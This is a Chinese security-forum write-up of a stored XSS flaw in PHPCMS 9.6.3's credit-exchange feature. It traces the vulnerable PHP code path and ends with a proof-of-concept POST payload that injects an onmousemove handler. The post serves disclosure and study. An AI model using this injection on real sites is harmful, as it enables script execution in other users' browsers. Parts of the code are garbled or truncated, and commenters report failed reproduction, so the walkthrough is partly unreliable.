PHPcms9.6.3存储型XSS

bigcow / 2017-12-27 18:01:00 / 浏览数 4984

简介：

PHPCMS是一款网站管理软件。
这个漏洞很久以前在乌云发过，不过到现在都没有修复，觉得还是比较经典的，分享一下。

漏洞分析：

问题出在会员的积分兑换功能，文件：

```
/phpcms/modules/member/index.php
public function change_credit() {
 $memberinfo = $this->memberinfo;
 //■■■■■■■■■
 $member_setting = getcache('member_setting');
 $this->_init_phpsso();
 $setting = $this->client->ps_getcreditlist();
 $outcredit = unserialize($setting);
 $setting = $this->client->ps_getapplist();
 $applist = unserialize($setting);

 if(isset($_POST['dosubmit'])) {
  //■■■■■■■■■
  $fromvalue = intval($_POST['fromvalue']);
  //■■■■■■■■
  $from = $_POST['from'];
  $toappid_to = explode('_', $_POST['to']);      //■■■■■■■■■
  //■■■■appid
  $toappid = $toappid_to[0];
  //■■■■■■■■■
  $to = $toappid_to[1];
  if($from == 1) {
   if($memberinfo['point'] < $fromvalue) {
    showmessage(L('need_more_point'), HTTP_REFERER);
   }
  } elseif($from == 2) {
   if($memberinfo['amount'] < $fromvalue) {
    showmessage(L('need_more_amount'), HTTP_REFERER);
   }
  } else {
   showmessage(L('credit_setting_error'), HTTP_REFERER);
  }

  $status = $this->client->ps_changecredit($memberinfo['phpssouid'], $from, $toappid, $to, $fromvalue);
```

这里有个问题，由于if($memberinfo['point'] < $fromvalue)所以，$fromvalue不能大于会员的点数，但是没充值的状态下，点数是为0的，但是又由于上面有intval($fromvalue)，所以我们可以$fromvalue=0.
跟进ps_changecredit函数：

```
public function ps_changecredit($uid, $from, $toappid, $to, $credit) {
 return $this->_ps_send('changecredit', array('uid'=>$uid, 'from'=>$from, 'toappid'=>$toappid, 'to'=>$to, 'credit'=>$credit));
}
```

继续跟进_ps_send函数：

```
private function _ps_send($action, $data = null) {
  return $this->_ps_post($this->ps_api_url."/index.php?m=phpsso&c=index&a=".$action, 500000, $this->auth_data($data));
}
```

最后是经过auth_data函数处理和加密，auth_data调用sys_auth加密函数进行加密:

```
public function auth_data($data) {
 $s = $sep = '';
 foreach($data as $k => $v) {
```

```
  if(is_array($v)) {
   $s2 = $sep2 = '';
   foreach($v as $k2 => $v2) {
     $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
    $sep2 = '&';
   }
   $s .= $sep.$s2;
  } else {
   $s .= "$sep$k=".$this->_ps_stripslashes($v);
  }
  $sep = '&';
 }

 $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
 return $auth_s;
}
```

_ps_post函数主要就是让服务器访问自己的网站上的一个地址
也就是访问了phpsso的changecredit函数（方法）。
我们先来看看phpsso：

```
class phpsso {

public $db, $settings, $applist, $appid, $data;
/**
 * ■■■■
 */
public function __construct() {
 $this->db = pc_base::load_model('member_model');
 pc_base::load_app_func('global');

 /*■■■■■■*/
 $this->settings = getcache('settings', 'admin');
 $this->applist = getcache('applist', 'admin');

 if(isset($_GET) && is_array($_GET) && count($_GET) > 0) {
  foreach($_GET as $k=>$v) {
   if(!in_array($k, array('m','c','a'))) {
    $_POST[$k] = $v;
   }
  }
 }

 if(isset($_POST['appid'])) {
  $this->appid = intval($_POST['appid']);
 } else {
  exit('0');
 }

 if(isset($_POST['data'])) {
  parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);


parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);■■■■■■■sys_auth■■■■■■■
■■■■■changecredit■
public function changecredit() {
 $this->uid = isset($this->data['uid']) ? $this->data['uid'] : exit('0');
 $this->toappid = isset($this->data['toappid']) ? $this->data['toappid'] : exit('0');
 $this->from = isset($this->data['from']) ? $this->data['from'] : exit('0');
 $this->to = isset($this->data['to']) ? $this->data['to'] : exit('0');
 $this->credit = isset($this->data['credit']) ? $this->data['credit'] : exit('0');
 $this->appname = $this->applist[$this->appid]['name'];
 $outcredit = $this->getcredit(1);
 //■■■■■■■■■■
 $this->credit = floor($this->credit * $outcredit[$this->from.'_'.$this->to]['torate'] / $outcredit[$this->from.'_'.$this->to]

 /*■■■■■■*/
 $noticedata['appname'] = $this->appname;
 $noticedata['uid'] = $this->uid;
```

```
 $noticedata['toappid'] = $this->toappid;
 $noticedata['totypeid'] = $this->to;
 $noticedata['credit'] = $this->credit;
 messagequeue::add('change_credit', $noticedata);
 exit('1');
}


■■■■■■■■■■messagequeue::add('change_credit', $noticedata);
public static function add($operation, $noticedata_send) {
 $db = self::get_db();
 $noticedata_send['action'] = $operation;
 $noticedata_send_string = array2string($noticedata_send);

 if ($noticeid = $db->insert(array('operation'=>$operation, 'noticedata'=>$noticedata_send_string, 'dateline'=>SYS_TIME), 1))
  self::notice($operation, $noticedata_send, $noticeid);
  return 1;
 } else {
  return 0;
 }
}
```

调用insert写入数据。。这里就不跟了。由于系统开启了gpc（两次，初始化一次，phpsso一次），所以进去的数据是经过两次gpc的
输出跟模板就不说了，反正没过滤直接出来

整理一下思路，先从积分兑换填写表单，然后将数据整理成数组经过sys_auth加密一次，然后服务器发送数据包给自己，收到数据包之后用sys_auth函数解密，然后调用

漏洞证明：

利用方法，先注册一个帐号，然后登录，然后访问:
http://localhost/index.php?m=member&c=index&a=change_credit&
post:

```
dosubmit=1&fromvalue=0.6&from=1id=1`setset'&to=}" onmousemove=alert(1)>//
```


上一篇：An Easy Way To PW... 下一篇：Apache Tika 任意代码执...

1. 4 条回复


虫二 2017-12-27 20:05:04

动动手指，沙发就是我的了！

0 回复Ta

ADog 2017-12-27 21:12:19

先膜拜一波~

0 回复Ta

fx 2018-01-19 16:49:33

按照漏洞利用，没有复现啊

0 回复Ta

xwbk12 2018-03-22 14:33:53

无法复现漏洞！

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板